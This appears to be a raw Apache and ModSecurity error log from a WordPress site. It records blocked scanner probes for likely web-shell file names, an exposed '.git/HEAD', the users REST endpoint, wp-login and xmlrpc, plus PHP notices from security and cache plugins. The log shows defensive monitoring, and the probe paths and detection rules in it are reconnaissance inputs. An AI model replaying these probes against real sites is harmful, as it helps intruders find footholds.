[Thu Feb 26 11:51:31.940956 2026] [:error] [pid 54991:tid 55044] [client 172.190.142.176:28373] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aZ_DQ94Zx-mJ8gbRB2iAKAAAAFg"]
[Thu Feb 26 11:51:32.377198 2026] [:error] [pid 25311:tid 25316] [client 172.190.142.176:57882] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aZ_DRNfdM__yZAgJFSuKcQAAAYI"]
[Thu Feb 26 11:51:32.833981 2026] [:error] [pid 25311:tid 25329] [client 172.190.142.176:50125] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aZ_DRNfdM__yZAgJFSuKdAAAAY8"]
[Thu Feb 26 11:51:33.268234 2026] [:error] [pid 55051:tid 55078] [client 172.190.142.176:28405] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aZ_DRQmK1w2kZvh5eLHSagAAAJg"]
[Thu Feb 26 11:51:33.707824 2026] [:error] [pid 3883:tid 3904] [client 172.190.142.176:16644] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/forbidals.php"] [unique_id "aZ_DReA33x90V6yYHagu4QAAAVI"]
[Thu Feb 26 11:51:34.154341 2026] [:error] [pid 55122:tid 55132] [client 172.190.142.176:46804] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aZ_DRoLiR0OfjFxvcN-oLwAAAMg"]
[Thu Feb 26 11:51:34.620568 2026] [:error] [pid 55122:tid 55127] [client 172.190.142.176:23828] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aZ_DRoLiR0OfjFxvcN-oMQAAAMM"]
[Thu Feb 26 11:51:35.073996 2026] [:error] [pid 55122:tid 55131] [client 172.190.142.176:28376] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aZ_DR4LiR0OfjFxvcN-oMgAAAMc"]
[Thu Feb 26 11:51:35.501725 2026] [:error] [pid 54990:tid 55012] [client 172.190.142.176:57879] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aZ_DR3tr2qmt_mBhH2zT_AAAABM"]
[Thu Feb 26 11:51:35.918217 2026] [:error] [pid 55618:tid 55644] [client 172.190.142.176:23854] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aZ_DRx61Vrh12f_8oWRWGgAAARc"]
[Thu Feb 26 11:51:36.359654 2026] [:error] [pid 55122:tid 55129] [client 172.190.142.176:16640] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aZ_DSILiR0OfjFxvcN-oNQAAAMU"]
[Thu Feb 26 11:51:36.815221 2026] [:error] [pid 55122:tid 55130] [client 172.190.142.176:20065] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aZ_DSILiR0OfjFxvcN-oOAAAAMY"]
[Thu Feb 26 11:51:37.251786 2026] [:error] [pid 54990:tid 55011] [client 172.190.142.176:34633] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev1s.php"] [unique_id "aZ_DSXtr2qmt_mBhH2zT_QAAABI"]
[Thu Feb 26 11:51:37.674927 2026] [:error] [pid 55051:tid 55076] [client 172.190.142.176:20330] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffd.php"] [unique_id "aZ_DSQmK1w2kZvh5eLHSbQAAAJY"]
[Thu Feb 26 11:51:38.102081 2026] [:error] [pid 54990:tid 55001] [client 172.190.142.176:8998] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffd.php"] [unique_id "aZ_DSntr2qmt_mBhH2zT_gAAAAg"]
[Thu Feb 26 11:51:38.530006 2026] [:error] [pid 55051:tid 55065] [client 172.190.142.176:41991] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffd.php"] [unique_id "aZ_DSgmK1w2kZvh5eLHSbwAAAIs"]
[Thu Feb 26 11:51:38.974345 2026] [:error] [pid 25311:tid 25331] [client 172.190.142.176:20331] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffd.php"] [unique_id "aZ_DStfdM__yZAgJFSuKggAAAZE"]
[Thu Feb 26 12:43:02.585331 2026] [proxy_fcgi:error] [pid 25311:tid 25317] [client 103.4.122.14:47750] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Thu Feb 26 12:43:23.836055 2026] [proxy_fcgi:error] [pid 25311:tid 25315] [client 103.4.122.14:47938] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Thu Feb 26 12:43:40.774424 2026] [proxy_fcgi:error] [pid 55618:tid 55630] [client 103.4.122.14:48128] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Thu Feb 26 13:14:18.740086 2026] [:error] [pid 55122:tid 55132] [client 51.68.188.254:55174] [client 51.68.188.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.68.188.254, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ_WqoLiR0OfjFxvcN-60gAAAMg"]
[Thu Feb 26 13:22:03.184802 2026] [:error] [pid 25311:tid 25324] [client 49.51.243.156:53550] [client 49.51.243.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZ_Ye9fdM__yZAgJFSvScAAAAYo"]
[Thu Feb 26 13:22:38.559687 2026] [proxy_fcgi:error] [pid 3883:tid 3896] [client 207.246.255.44:29425] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('itsec-lock-scheduling', '1772083362', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, ITSEC_Core->continue_init, ITSEC_Core->shared_init, ITSEC_Modules::run_active_modules, ITSEC_Modules::load_module_file, include_once('/plugins/ithemes-security-pro/core/modules/security-check-pro/active.php'), ITSEC_Security_Check_Pro->run, ITSEC_Security_Check_Pro_Utility::handle_scan_request, ITSEC_Modules::set_settings, ITSEC_Settings->set_all, iThemesSecurity\\Config_Settings->after_save, ITSEC_Scheduler->register_events_for_config, ITSEC...'
[Thu Feb 26 13:29:18.819013 2026] [:error] [pid 55618:tid 55630] [client 185.93.89.110:52796] [client 185.93.89.110] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-includes//.git/HEAD"] [unique_id "aZ_aLh61Vrh12f_8oWR4RQAAAQk"]
[Thu Feb 26 13:42:30.933306 2026] [:error] [pid 55051:tid 55075] [client 149.102.225.184:33030] [client 149.102.225.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.102.225.184, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ_dRgmK1w2kZvh5eLHmXwAAAJU"]
[Thu Feb 26 13:42:34.483464 2026] [:error] [pid 55051:tid 55056] [client 149.102.225.184:33030] [client 149.102.225.184] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZ_dSgmK1w2kZvh5eLHmYgAAAII"]
[Thu Feb 26 13:42:37.437470 2026] [:error] [pid 55051:tid 55069] [client 149.102.225.184:33030] [client 149.102.225.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.102.225.184, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ_dTQmK1w2kZvh5eLHmZwAAAI8"]
[Thu Feb 26 15:00:46.108333 2026] [:error] [pid 55051:tid 55054] [client 116.193.73.128:13930] [client 116.193.73.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.193.73.128, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ_vngmK1w2kZvh5eLHxxgAAAIA"]
[Thu Feb 26 15:02:18.355549 2026] [:error] [pid 25311:tid 25330] [client 51.77.218.189:46632] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZ_v-tfdM__yZAgJFSsY1gAAAZA"]
[Thu Feb 26 15:02:20.760267 2026] [:error] [pid 25311:tid 25334] [client 51.77.218.189:42926] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZ_v_NfdM__yZAgJFSsY3QAAAZQ"]
[Thu Feb 26 15:02:23.167955 2026] [:error] [pid 25311:tid 25336] [client 51.77.218.189:42930] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZ_v_9fdM__yZAgJFSsY5gAAAZY"]
[Thu Feb 26 15:02:25.573213 2026] [:error] [pid 55618:tid 55642] [client 51.77.218.189:47340] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZ_wAR61Vrh12f_8oWSXKgAAARU"]
[Thu Feb 26 15:02:28.181029 2026] [:error] [pid 25311:tid 25323] [client 51.77.218.189:47348] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZ_wBNfdM__yZAgJFSsY7gAAAYk"]
[Thu Feb 26 15:02:30.635259 2026] [:error] [pid 20419:tid 20443] [client 51.77.218.189:47358] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZ_wBu3DVDvMfTYYUBW-JgAAAdU"]
[Thu Feb 26 15:02:33.219013 2026] [:error] [pid 55618:tid 55626] [client 51.77.218.189:47370] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZ_wCR61Vrh12f_8oWSXNAAAAQU"]
[Thu Feb 26 15:02:35.674070 2026] [:error] [pid 3883:tid 3888] [client 51.77.218.189:59054] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZ_wC-A33x90V6yYHaiT7wAAAUI"]
[Thu Feb 26 15:02:38.250404 2026] [:error] [pid 3883:tid 3891] [client 51.77.218.189:59068] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZ_wDuA33x90V6yYHaiT_AAAAUU"]
[Thu Feb 26 15:02:40.646508 2026] [:error] [pid 25311:tid 25333] [client 51.77.218.189:59082] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZ_wENfdM__yZAgJFSsZAQAAAZM"]
[Thu Feb 26 15:02:43.038418 2026] [:error] [pid 54990:tid 55008] [client 51.77.218.189:59084] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZ_wE3tr2qmt_mBhH2zmSwAAAA8"]
[Thu Feb 26 15:02:45.433046 2026] [:error] [pid 20419:tid 20446] [client 51.77.218.189:47964] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZ_wFe3DVDvMfTYYUBW-LgAAAdg"]
[Thu Feb 26 15:02:47.979207 2026] [:error] [pid 55122:tid 55132] [client 51.77.218.189:47980] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZ_wF4LiR0OfjFxvcN_SewAAAMg"]
[Thu Feb 26 15:02:50.344179 2026] [:error] [pid 25311:tid 25321] [client 51.77.218.189:47992] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZ_wGtfdM__yZAgJFSsZBgAAAYc"]
[Thu Feb 26 15:02:52.908742 2026] [:error] [pid 3883:tid 3894] [client 51.77.218.189:47996] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZ_wHOA33x90V6yYHaiUCQAAAUg"]
[Thu Feb 26 15:02:55.287830 2026] [:error] [pid 55122:tid 55140] [client 51.77.218.189:43142] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZ_wH4LiR0OfjFxvcN_ShAAAANA"]
[Thu Feb 26 15:02:57.810982 2026] [:error] [pid 3883:tid 3910] [client 51.77.218.189:43156] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZ_wIeA33x90V6yYHaiUEgAAAVg"]
[Thu Feb 26 15:03:00.238113 2026] [:error] [pid 3883:tid 3907] [client 51.77.218.189:43160] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZ_wJOA33x90V6yYHaiUGQAAAVU"]
[Thu Feb 26 15:03:02.657694 2026] [:error] [pid 25311:tid 25338] [client 51.77.218.189:43174] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZ_wJtfdM__yZAgJFSsZFQAAAZg"]
[Thu Feb 26 15:03:05.167689 2026] [:error] [pid 20419:tid 20432] [client 51.77.218.189:59714] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZ_wKe3DVDvMfTYYUBW-NgAAAco"]
[Thu Feb 26 15:03:07.708759 2026] [:error] [pid 3883:tid 3902] [client 51.77.218.189:59728] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZ_wK-A33x90V6yYHaiUQAAAAVA"]
[Thu Feb 26 15:03:10.116948 2026] [:error] [pid 3883:tid 3909] [client 51.77.218.189:59736] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZ_wLuA33x90V6yYHaiUUgAAAVc"]
[Thu Feb 26 15:03:12.620998 2026] [:error] [pid 3883:tid 3897] [client 51.77.218.189:59746] [client 51.77.218.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZ_wMOA33x90V6yYHaiUXgAAAUs"]
